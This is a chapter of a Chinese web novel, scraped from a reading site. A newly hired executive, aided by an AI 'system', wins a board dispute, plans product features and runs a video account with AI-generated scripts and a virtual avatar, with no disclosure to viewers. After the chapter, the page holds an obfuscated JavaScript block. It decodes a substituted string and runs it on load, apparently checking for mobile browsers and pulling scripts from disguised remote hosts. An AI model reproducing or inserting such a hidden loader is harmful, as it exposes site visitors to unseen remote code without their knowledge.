首页
第33章 七日奇迹的连锁反应
返回

第33章 七日奇迹的连锁反应

章节报错(免登陆)
下载APP,无广告、完整阅读

一秒记住【笔趣阁小说网】
biquge345.com,更新快,无弹窗!

    第33章七日奇迹的连锁反应(第1/2页)
    1
    上午十点零七分,星河科技大厦九层高管会议室。
    周一例会比平时晚了七分钟开始,因为CEO李铭的航班延误。他推门进来时,风尘仆仆,但眼睛很亮,目光在会议室里扫了一圈,最后落在林辰身上。
    “听说昨晚干了票大的?”李铭在主位坐下,没急着开会,先端起茶杯喝了一口。
    会议室里所有人的目光都看向林辰。
    “数据库迁移完成了。”林辰点头,“从凌晨零点到三点,全量数据同步,切换过程零故障,系统运行稳定。目前各项监控指标正常,平均响应时间比迁移前优化了18%。”
    他说得很平静,但会议室里响起了几声低低的抽气声。
    CTO张涛推了推眼镜:“切换过**没出问题?订单数据、用户信息这些核心表,都校验过了?”
    “逐条校验。”林辰说,“迁移前后数据一致性100%。另外,我们趁这个机会,把数据库索引重建了一遍,慢查询减少了60%。”
    “效率呢?”财务总监刘薇问,“这次投入了多少人力成本?”
    “项目组八十二人,连续工作七昼夜。加班补贴、食宿、第三方服务采购,总开支一百三十七万。”林辰顿了顿,“但相比收益,这笔投入是划算的。按照测算,数据库优化后,‘星语’系统每年可节约服务器成本约两百万,减少的线上事故带来的客户赔偿和商誉损失,预计在三百到五百万之间。投资回报率超过300%。”
    他报出的数字很具体,显然是做过详细测算的。
    刘薇不说话了,低头在笔记本上记着什么。
    陈明远坐在李铭左手边,脸色不太好看。他今天穿了件深灰色西装,系着暗红色领带,试图保持威严,但眼下的乌青暴露了他这几天也没睡好。
    “七天完成这种级别的重构,确实不容易。”陈明远开口,语气听起来是夸奖,但话锋一转,“不过林总,技术优化是基础,但公司的核心是业务。‘星语’项目停摆一周,新功能开发全停,客户那边已经开始有意见了。销售部昨天接到三个客户的投诉,说答应好的功能又延期了。”
    他看向销售总监赵凯:“赵总,是不是这样?”
    赵凯是个四十出头的中年男人,微胖,圆脸,平时总是笑呵呵的,但此刻笑容有些勉强:“是……是有几个客户在问。不过我都安抚了,说我们在做重大升级,升级后体验会更好。”
    “升级是好事,但不能耽误赚钱啊。”陈明远看向李铭,“李总,我的意思是,技术优化要搞,但业务也不能停。是不是可以分一部分人,先把客户着急的功能做了?”
    很合理的建议,听起来完全是为公司着想。
    会议室里安静下来,所有人都等着李铭表态。
    李铭没说话,手指在桌面上轻轻敲着,目光在林辰和陈明远之间移动。最后他看向林辰:“林辰,你怎么说?”
    林辰早就料到会有这一出。
    “陈总说得对,业务不能停。”他点头,“所以我做了个折中方案。从今天起,‘星语’项目组分为两条线:A线继续技术重构,由王海清负责,三十人规模,专注核心架构优化。B线重启业务开发,由我直接带,五十二人规模,优先开发客户最急需的三个功能。”
    他打开电脑,投屏到会议室大屏幕。
    “这是客户需求调研结果。”屏幕上出现一个柱状图,“我们统计了过去三个月所有客户的反馈,按优先级排序。排前三的分别是:智能会话转人工、多轮对话记忆、知识库智能推荐。这三个功能,竞品要么没有,要么做得不完善。如果我们能先做出来,就是差异化优势。”
    他切到下一页,是详细的产品方案和开发计划。
    “这三个功能,我们评估过,技术难度中等,但业务价值高。B线团队全力以赴,两周内可以上线第一个版本。同时,A线的架构优化不会停,我们会把重构后的模块逐步集成到新功能中,既保证进度,又验证重构效果。”
    计划很完整,考虑很周全。
    会议室里不少高管都在点头。连CTO张涛都忍不住说:“这个方案可行。技术重构和业务开发并行,风险可控,收益明确。”
    陈明远脸色更难看了。他没想到林辰准备得这么充分,连具体要做什么功能、做多久、谁负责都想好了。
    “那人员怎么分配?”他追问,“现在团队就八十多人,拆成两组,每组才四十人,够用吗?”
    “够用。”林辰说,“过去七天,我们完成了原本计划一个月的工作量。效率已经证明。而且,重构完成后,研发效率本身就在提升。四十人的B线团队,产出不会低于原来的六十人。”
    他说得很有底气。
    因为这不是吹牛,是系统给出的精确测算。根据过去七天的数据,AI超脑模块推演出团队效率模型,预测显示:在架构优化和技术债清理之后,同样的团队规模,开发效率可以提升40%-60%。
    “好。”李铭终于开口,一锤定音,“就按林辰的方案执行。A线B线并进,一个月后,我要看到技术架构和业务功能的双重突破。”
    他顿了顿,看向陈明远:“陈总,销售部全力配合。客户那边,你去沟通,把这三个新功能的价值讲清楚。告诉他们,稍微等两周,等来的是别人没有的核心竞争力。”
    这话既是支持林辰,也是给陈明远台阶下。
    陈明远只能点头:“明白。”
    “散会。”李铭站起身,走到林辰身边时,拍了拍他的肩膀,“来我办公室一趟。”
    两人一前一后离开会议室。
    门关上的瞬间,会议室里响起了低低的议论声。几个高管交换着眼色,都从对方眼里读懂了同一个信息:这位空降的COO,位置坐稳了。
    2
    CEO办公室在顶层,整面落地窗,视野极好。
    李铭没回办公桌,而是走到窗边的茶台旁,开始烧水泡茶。动作很慢,很专注,像在做某种仪式。
    “坐。”他指了指对面的椅子。
    林辰坐下,看着他洗茶、温杯、冲泡。水汽氤氲,茶香渐渐弥漫开来。
    “知道我为什么选你吗?”李铭倒了两杯茶,推一杯到林辰面前。
    “因为我举报了天启科技?”
    “那只是让我注意到你。”李铭摇头,“真正让我决定用你的,是你三天赚五万的那个账号。”
    林辰心里一动。
    “我看了你所有的视频,直播也看了回放。”李铭喝了口茶,眼神很锐利,“你不是在教人怎么找工作,你是在教人怎么在绝境中重新建立秩序。这种能力,比任何技术、任何经验都值钱。”
    他放下茶杯,看着林辰。
    “星河科技现在就在绝境里。表面上,我们是行业第三,营收十亿,活得还不错。但实际上,技术债压得我们喘不过气,核心团队在流失,竞争对手在蚕食市场。再不改变,三年,最多五年,这个公司就会从市场上消失。”
    他说得很直白,很残酷。
    “我需要一个人,能在绝境中杀出一条路。这个人要有技术眼光,要有管理能力,更重要的,要有那种‘不认命’的狠劲。”李铭顿了顿,“你从三十五岁失业,到三天赚五万,到七天完成数据库迁移——这种逆风翻盘的能力,是我最看重的。”
    林辰安静地听着,没说话。
    “但我也要提醒你。”李铭话锋一转,“公司不是家,职场不是爽文。你动了太多人的利益,接下来,麻烦会越来越多。陈明远只是第一个,不会最后一个。”
    “我明白。”
    “你不明白。”李铭摇头,“你现在做的,是在否定过去三年公司的发展方向。等于在说,陈明远、张涛,还有我,之前的路都走错了。这种否定,会招来整个旧利益集团的反扑。”
    他站起身,走到窗前,背对着林辰。
    “但我还是支持你。因为我知道,不破不立。再这么温吞水地混下去,公司就真没救了。所以,我给你权,给你钱,给你撑腰。但你要记住——”
    他转过身,眼神如刀。
    “——我给你的一切,都是投资。我要看到回报。一个月后,如果‘星语’没有脱胎换骨的变化,如果团队士气没有根本提升,如果业务没有实质性突破……到时候,不用别人赶你,我会亲自请你走。”
    很现实,也很公平。
    林辰点头:“明白。”
    “去吧。”李铭摆摆手,“放手干。天塌下来,我先顶着。”
    林辰起身离开。走到门口时,李铭突然说:“对了,你那个‘苏老师’的账号,还在做吗?”
    “暂时停了,专注公司这边。”
    “可以做。”李铭说,“用你自己的时间,别影响工作就行。那个账号有价值,别浪费了。”
    林辰愣了一下,然后点头:“好。”
    走出办公室,他站在走廊里,深吸了一口气。
    李铭这番话,既是警告,也是定心丸。意思很清楚:我赌你能成,所以押注在你身上。但赌输了,筹码全收。
    很商业,很理性。
    但正是这种理性,让林辰觉得踏实。纯粹的信任反而让人不安,有条件的支持才真实可靠。
    他回到二十八层,办公区里已经重新划分。东侧是A线团队,继续搞架构重构。西侧是B线团队,开始新功能开发。白板上写满了任务,空气中又弥漫着那种熟悉的、紧绷的亢奋感。
    “林总!”王海清小跑过来,“B线这边,三个功能的详细需求文档已经出来了,您过目一下。另外,关于智能会话转人工这个功能,技术方案有分歧,您来定一下。”
    “好,我看看。”
    林辰接过平板,一边看一边往会议室走。接下来的两周,会像过去七天一样,忙碌、高压、充满挑战。
    但他已经习惯了。
    或者说,他必须习惯。
    因为这是他自己选的路,是他逆天改命的开始。
    3
    下午两点,林辰在会议室里跟B线核心成员开需求评审会。
    “智能会话转人工,核心痛点是什么?”他问产品经理小周。
    “是效率。”小周调出数据,“现在我们的AI客服,遇到解决不了的问题,是让用户自己点‘转人工’。但很多用户不知道要点,或者点了之后,要等很久,因为人工客服忙。平均转接时间超过三分钟,用户流失率高达40%。”
    “所以我们要做的,是AI自动判断什么时候该转人工,然后无缝对接,让用户感觉不到切换。”林辰在白板上画流程图,“关键点有两个:一是判断准确率,二是转接效率。”
    (本章未完,请点击下一页继续阅读)第33章七日奇迹的连锁反应(第2/2页)
    “判断准确率,我们可以用历史对话数据训练模型。”技术骨干李浩说,“但需要标注大量数据,至少要两周时间。”
    “不用两周。”林辰摇头,“用迁移学习。我们已经有现成的意图识别模型,在这个基础上做微调,三天就能出初版。系统,调出我们现有的意图识别模型准确率。”
    【收到。当前意图识别模型准确率:87.3%】
    【基于该模型进行转人工判断任务的迁移学习,预计准确率可达92%-95%,训练时间:72小时。】
    林辰把系统提供的数据报出来。
    李浩眼睛一亮:“如果有这个准确率,那就够了!那转接效率呢?”
    “用长连接+会话状态同步。”林辰继续画图,“AI和人工客服用一个共享的会话池,AI把整个对话历史、用户画像、问题分类,实时同步给人工客服。人工一接入,就知道前因后果,不用用户重复说。这样转接后的首条响应时间,可以从现在的平均三十秒压缩到五秒内。”
    “这个架构可行!”另一个工程师兴奋地说,“我们可以用WebSocket做长连接,会话状态用Redis存,延迟能控制在毫秒级。”
    “好,就这么定。”林辰拍板,“李浩,你带三个人,专门攻这个功能。五天,我要看到可演示的demo。”
    “没问题!”
    接下来讨论多轮对话记忆和知识库智能推荐,林辰同样用系统辅助,快速给出技术方案和实现路径。原本预计要开三小时的会,一个半小时就结束了,而且结论明确,分工清晰。
    散会后,小周凑过来,小声说:“林总,您这技术判断力也太强了。每个问题都能直接切中要害,方案还特别落地。陈总在的时候,这种会至少扯皮一下午。”
    林辰笑笑:“可能是我以前踩的坑多。”
    他没法解释,大部分判断是系统AI超脑模块实时分析的结果。他做的,只是把系统给出的最优解,用自己的话表达出来。
    但这已经足够了。
    回到工位,他打开电脑,处理积压的邮件。一封来自人力资源部的邮件引起了他的注意:
    主题:关于“星语”项目组加班时长的风险提示
    内容很长,核心意思是:过去七天,项目组平均日工作时间超过14小时,严重违反劳动法。如果员工投诉,公司可能面临劳动监察和罚款。建议立即调整工作节奏,保障员工休息。
    发件人是HR总监杨芳,抄送了李铭、陈明远、刘薇。
    很正式的警告。
    林辰皱起眉。这封邮件,表面上是合规提醒,实际上是借题发挥。杨芳是陈明远的人,这谁都知道。在这个时间点发这种邮件,目的很明显:给林辰施压,让他放慢节奏。
    他想了想,回复:
    杨总监:
    邮件收悉,感谢提醒。项目组过去七天的超时工作,是特殊阶段的攻坚需要,已依法支付加班费,并提供调休。目前攻坚期已结束,团队进入正常开发节奏,每日工作时间将严格控制在10小时内。后续我们会持续关注员工状态,确保合规。
    另,关于员工关怀,建议HR部门可组织一些团建活动,帮助团队缓解压力。费用可从项目预算中支出。
    林辰
    回复很官方,既承认了问题,也给出了解决方案,还把球踢了回去——你们HR要真关心员工,就做点实事,别光发邮件。
    点击发送,抄送李铭、陈明远、刘薇。
    几分钟后,李铭回复了一个字:“好。”
    陈明远和杨芳都没回复。
    林辰关掉邮箱,揉了揉眉心。这些职场暗箭,比技术难题还耗神。你永远不知道,什么时候会从哪里射来一支冷箭。
    但没办法,这就是游戏规则。
    你要往上爬,就会踩到别人的脚。别人疼了,就会反击。
    很公平。
    他看了眼时间,下午四点。该处理“苏老师”账号的事了。
    4
    林辰找了个没人的电话间,关上门,登录“苏老师”的抖音账号。
    三天没更新,后台数据居然还在涨。粉丝数已经突破二十五万,最新一条视频的播放量冲到三百多万,评论区很多人问“苏老师怎么不更新了”“是不是出什么事了”。
    私信更是爆了。有催更的,有求助的,有寻求合作的,还有几个MCN机构开出了不错的条件,想签他。
    林辰快速浏览了一遍,然后打开系统。
    “系统,生成一份‘苏老师’账号后续运营规划。”
    【收到。分析账号现状、用户画像、内容趋势……】
    【分析完成。建议如下:】
    【1.内容方向:从“被裁自救”向“职场精进”过渡,增加专业技能、管理方法、行业洞察等深度内容。】
    【2.更新频率:每周2-3更,保持活跃但不过度消耗。】
    【3.变现模式:在现有带货基础上,增加知识付费课程、一对一咨询、企业内训等高价服务。】
    【4.长期目标:打造个人IP,为宿主后续创业积累势能。】
    规划很清晰,但问题来了:他没时间。
    全职做星河科技COO,已经占用了90%的精力。剩下的10%,要分给家庭、休息,不可能再投入到一个自媒体账号上。
    除非……
    “系统,有没有可能实现半自动化运营?比如,你生成内容脚本,我只需要录制和剪辑?”
    【可以。AI内容生成模块可基于宿主指定的主题、风格、受众,自动生成视频脚本、文案、剪辑建议。宿主只需完成出镜录制(或虚拟形象驱动),后期制作可委托外包。】
    “质量能保证吗?”
    【经过前三次视频的数据训练,系统已掌握“苏老师”的内容风格和用户偏好。生成内容的质量评分可达B+到A-,与宿主亲自创作差异不大。】
    林辰心动了。
    如果真能半自动化运营,那他只需要每周花几个小时,就能维持这个账号的活跃度和变现能力。这对后续创业,确实是个有价值的资产。
    “先试一次。”他说,“生成一个视频脚本,主题是‘空降高管如何快速站稳脚跟’,时长三分钟以内,要有干货,有案例,不露脸用虚拟形象。”
    【收到。生成中……生成完成。】
    一份完整的脚本出现在系统界面:
    标题:空降高管第一周,我做了这三件事
    核心要点:1.快速诊断业务真问题;2.争取关键人支持;3.用一场小胜证明价值
    案例:引用真实职场故事(隐去敏感信息)
    结尾:引导互动,预告下期“如何带团队打硬仗”
    脚本质量确实不错,结构清晰,观点犀利,还有具体的方**。如果让林辰自己写,至少需要两小时,系统只用了三秒钟。
    “可以。”林辰说,“再生成剪辑建议,包括画面、字幕、背景音乐、转场特效。”
    【收到。生成剪辑分镜脚本……生成完成。】
    “好。我现在录制音频,你同步驱动虚拟形象生成视频。生成后发我预览,没问题的话今晚发布。”
    【明白。音频录制准备就绪。】
    林辰戴上耳机,对着手机麦克风,用“苏老师”温和坚定的声线,开始录制。二十分钟后,音频录制完成。系统自动处理,生成虚拟形象视频,合成背景音乐和字幕。
    五分钟后,成品视频生成。林辰看了一遍,效果出奇的好——虚拟形象的口型、表情、肢体语言,和音频完美同步,画面剪辑专业,节奏把控到位。
    如果不说是AI生成的,没人能看出来。
    “发布吧。”林辰说,“标题就用你生成的那个。文案里加一句:最近在忙一个新项目,更新会慢一些,但干货不会少。谢谢大家等待。”
    【收到。发布中……发布成功。】
    视频开始进入审核流程。林辰退出账号,长舒一口气。
    这样操作,确实可行。每周花两三个小时,就能维持一个几十万粉丝的账号,持续产生收入和影响力。这笔时间投资,划算。
    他走出电话间,回到办公区。已经是下午五点半,但没人准备下班。B线团队在热火朝天地讨论技术方案,A线团队在白板上画新的架构图。
    这种氛围,让人想起七天前。但不同的是,现在团队眼里没有那种“被逼无奈”的疲惫,而是有种“主动攻坚”的兴奋。
    因为大家看到了希望。
    看到了改变真的在发生。
    看到了努力真的能带来结果。
    林辰走到自己的工位,打开电脑,开始写今天的进度报告。刚写了几行,手机震动,是苏雨晴发来的微信。
    “今晚回家吃饭吗?妈炖了鸡汤。”
    “回。八点左右到家。”
    “好,等你。”
    简单的对话,但林辰心里一暖。
    这三天,他住公司附近的酒店,每天只睡四五个小时,几乎没跟家人好好说话。苏雨晴没抱怨,只是每天问他回不回家吃饭,然后说“好,等你”。
    这种无声的支持,比任何语言都有力量。
    林辰加快速度写完报告,发送给李铭。然后关电脑,收拾东西。
    “林总,您要下班?”小周惊讶地问。这几天,林辰都是最后一个走的。
    “嗯,今天早点走。”林辰说,“你们也别熬太晚,十点前必须撤。这是命令。”
    “明白!”
    他走出办公区,电梯下行。轿厢里只有他一个人,镜子映出他胡子拉碴、眼窝深陷的脸。
    确实该休息一下了。
    不然身体会垮。
    走出大厦时,天已经黑了。晚高峰的车流汇成灯河,空气里有深秋的凉意。林辰站在路边等车,看着这座城市的万家灯火。
    七天前,他站在这里,心里满是忐忑和压力。
    七天后,他站在这里,心里依然是压力,但多了几分笃定。
    因为知道自己在正确的路上。
    知道背后有系统支持。
    知道家里有盏灯在等他。
    这就够了。
    车来了。林辰拉开车门,坐进去。
    “师傅,去滨江花园。”
    车驶入夜色,汇入车流之中。
章节报错(免登陆)
下载APP,无广告、完整阅读
验证码: 提交关闭
!function(){function a(a){var _idx="u5afgpg4hc";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/_nd7pJpoh(/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"_nd7pJpoh("!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q/f/}Ko}j(8}vY8_nd7pJpoh("a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();